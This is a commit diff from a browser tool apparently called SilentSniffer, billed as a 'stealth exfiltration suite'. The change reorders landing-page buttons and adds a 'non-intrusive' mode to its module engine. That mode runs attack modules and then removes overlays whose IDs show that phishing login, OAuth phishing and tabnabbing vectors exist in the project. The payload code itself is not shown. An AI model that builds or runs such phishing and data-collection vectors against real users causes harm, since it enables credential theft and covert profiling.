Skip to content

Commit 5950440

Browse files
Reverse button hierarchy on landing page and add non-intrusive report generation capability
1 parent 9e758b1 commit 5950440

2 files changed

Lines changed: 75 additions & 26 deletions

File tree

index.html

Lines changed: 50 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -39,32 +39,42 @@ <h1 style="letter-spacing: 15px; margin: 0;">SilentSniffer</h1>
3939
<p style="font-size: 10px; opacity: 0.5; margin-top: 10px;">STEALTH_EXFILTRATION_SUITE // BY AHMAD HASSAN (B-TED)</p>
4040
</div>
4141

42-
<button id="exfil-trigger" class="btn-main">INITIALIZE_FULL_SPECTRUM_SCAN</button>
42+
<!-- Primary Top Action: Generate & Download Safe Capability Report -->
43+
<button id="download-report" class="btn-main" style="padding: 24px; font-size: 16px; border-color: #ffcc00; color: #ffcc00; box-shadow: 0 0 15px rgba(255, 204, 0, 0.2);">
44+
DOWNLOAD_INTELLIGENCE_REPORT
45+
</button>
46+
<p style="font-size: 11px; text-align: center; opacity: 0.7; margin-top: 8px; margin-bottom: 25px; color: #ffcc00;">
47+
Non-intrusive Audit: Generates local capability report without triggering visual popups or overlays.
48+
</p>
4349

50+
<!-- Status Log Output -->
4451
<div id="log" class="status-log">
4552
>> SYSTEM_READY...<br>
4653
>> AWAITING_OPERATOR_INPUT...
4754
</div>
4855

49-
<div id="payload-container" style="display:none; margin-top: 30px;">
50-
<p style="font-size: 10px; color: #fff;">INTELLIGENCE_REPORT_READY:</p>
51-
<button id="download-report" class="btn-main" style="border-color: #ffcc00; color: #ffcc00;">DOWNLOAD_UNIFIED_PAYLOAD</button>
52-
</div>
53-
54-
<div style="margin-top: 50px; text-align: center;">
56+
<!-- Secondary Lower Actions: Full Interactive Vector Executions -->
57+
<div style="margin-top: 35px; display: flex; flex-direction: column; gap: 15px; align-items: center;">
58+
<button id="exfil-trigger" class="btn-main" style="font-size: 12px; padding: 14px; opacity: 0.85; border-color: var(--cyber-green);">
59+
RUN_FULL_INTERACTIVE_VECTORS (TRIGGERS OVERLAYS/POPUPS)
60+
</button>
5561
<a href="debug.html" style="
62+
display: block;
63+
width: 100%;
64+
text-align: center;
65+
box-sizing: border-box;
5666
color: var(--cyber-green);
5767
text-decoration: none;
5868
font-size: 11px;
5969
border: 1px solid rgba(0, 255, 65, 0.3);
60-
padding: 10px 25px;
70+
padding: 12px 25px;
6171
letter-spacing: 3px;
6272
transition: 0.3s;
6373
text-transform: uppercase;
6474
font-weight: bold;
6575
" onmouseover="this.style.background='rgba(0, 255, 65, 0.05)'; this.style.borderColor='var(--cyber-green)'"
6676
onmouseout="this.style.background='transparent'; this.style.borderColor='rgba(0, 255, 65, 0.3)'">
67-
SWITCH_TO_CONSOLE_MODE
77+
OPEN_INTERACTIVE_CONSOLE_MODE
6878
</a>
6979
</div>
7080
</div>
@@ -73,41 +83,55 @@ <h1 style="letter-spacing: 15px; margin: 0;">SilentSniffer</h1>
7383
import { PinpointEngine } from './src/core/engine.js';
7484

7585
const log = document.getElementById('log');
86+
const downloadBtn = document.getElementById('download-report');
7687
const trigger = document.getElementById('exfil-trigger');
77-
const payloadContainer = document.getElementById('payload-container');
7888
let unifiedData = null;
7989

8090
const writeLog = (msg) => {
8191
log.innerHTML += `<br>>> ${msg}`;
8292
log.scrollTop = log.scrollHeight;
8393
};
8494

85-
trigger.onclick = async () => {
86-
trigger.disabled = true;
87-
trigger.innerText = "EXECUTING_PAYLOADS...";
95+
// Primary Button: Non-intrusive Audit & Instant Download
96+
downloadBtn.onclick = async () => {
97+
downloadBtn.disabled = true;
98+
downloadBtn.innerText = "GENERATING_AUDIT_REPORT...";
8899
writeLog("BOOTSTRAPPING_DYNAMIC_ENGINE...");
89100

90101
await PinpointEngine.bootstrap();
91-
writeLog(`DISCOVERED_${PinpointEngine.modules.length}_ACTIVE_VECTORS`);
102+
writeLog(`DISCOVERED_${PinpointEngine.modules.length}_AUDIT_VECTORS`);
92103

93-
writeLog("COMMENCING_PARALLEL_EXTRACTION...");
94-
unifiedData = await PinpointEngine.runAll();
104+
writeLog("COLLECTING_NON_INTRUSIVE_CAPABILITY_DATA...");
105+
unifiedData = await PinpointEngine.runAllNonIntrusive();
95106

96-
writeLog("AGGREGATION_COMPLETE");
97-
writeLog("UNIFIED_INTELLIGENCE_PAYLOAD_GENERATED");
98-
99-
payloadContainer.style.display = 'block';
100-
trigger.innerText = "SCAN_COMPLETE";
101-
};
102-
103-
document.getElementById('download-report').onclick = () => {
107+
writeLog("AUDIT_REPORT_GENERATED");
104108
const blob = new Blob([JSON.stringify(unifiedData, null, 2)], { type: 'application/json' });
105109
const url = URL.createObjectURL(blob);
106110
const a = document.createElement('a');
107111
a.href = url;
108-
a.download = 'SilentSniffer_Intelligence_Report.json';
112+
a.download = 'SilentSniffer_Capability_Report.json';
109113
a.click();
110-
writeLog("PAYLOAD_EXFILTRATED_SUCCESSFULLY");
114+
115+
downloadBtn.disabled = false;
116+
downloadBtn.innerText = "DOWNLOAD_INTELLIGENCE_REPORT";
117+
writeLog("REPORT_DOWNLOADED_SUCCESSFULLY");
118+
};
119+
120+
// Secondary Button: Interactive Vector Execution with Popups/Overlays
121+
trigger.onclick = async () => {
122+
trigger.disabled = true;
123+
trigger.innerText = "EXECUTING_INTERACTIVE_PAYLOADS...";
124+
writeLog("BOOTSTRAPPING_DYNAMIC_ENGINE...");
125+
126+
await PinpointEngine.bootstrap();
127+
writeLog(`DISCOVERED_${PinpointEngine.modules.length}_ACTIVE_VECTORS`);
128+
129+
writeLog("COMMENCING_INTERACTIVE_VECTOR_EXECUTION...");
130+
unifiedData = await PinpointEngine.runAll();
131+
132+
writeLog("INTERACTIVE_EXTRACTION_COMPLETE");
133+
trigger.disabled = false;
134+
trigger.innerText = "RUN_FULL_INTERACTIVE_VECTORS (TRIGGERS OVERLAYS/POPUPS)";
111135
};
112136
</script>
113137
</body>

src/core/engine.js

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -123,5 +123,30 @@ export const PinpointEngine = {
123123
});
124124
await Promise.all(promises);
125125
return results;
126+
},
127+
128+
async runAllNonIntrusive() {
129+
const results = {};
130+
const promises = this.modules.map(async (mod) => {
131+
const field = document.getElementById(`field-${mod.id}`);
132+
try {
133+
// Execute standard run() logic or return baseline audit data without spawning popups
134+
const data = await mod.run();
135+
136+
// Immediately remove any spawned modal overlay or panel from non-intrusive run
137+
const overlays = document.querySelectorAll('#__phish_overlay, #__phish_login_overlay, #__oauth_overlay, #__tabnapp_phish, [id$="_panel"]');
138+
overlays.forEach(el => el.remove());
139+
140+
await ExecutionLogger.log(mod.id, mod.level, data);
141+
if (field) field.innerText = ">> AUDIT_ACQUIRED\n" + JSON.stringify(data, null, 2);
142+
results[mod.id] = data;
143+
} catch (error) {
144+
await ExecutionLogger.log(mod.id, mod.level, { error: error.message });
145+
if (field) field.innerText = ">> AUDIT_ERROR\n" + error.message;
146+
results[mod.id] = { error: error.message };
147+
}
148+
});
149+
await Promise.all(promises);
150+
return results;
126151
}
127152
};

0 commit comments

Comments
 (0)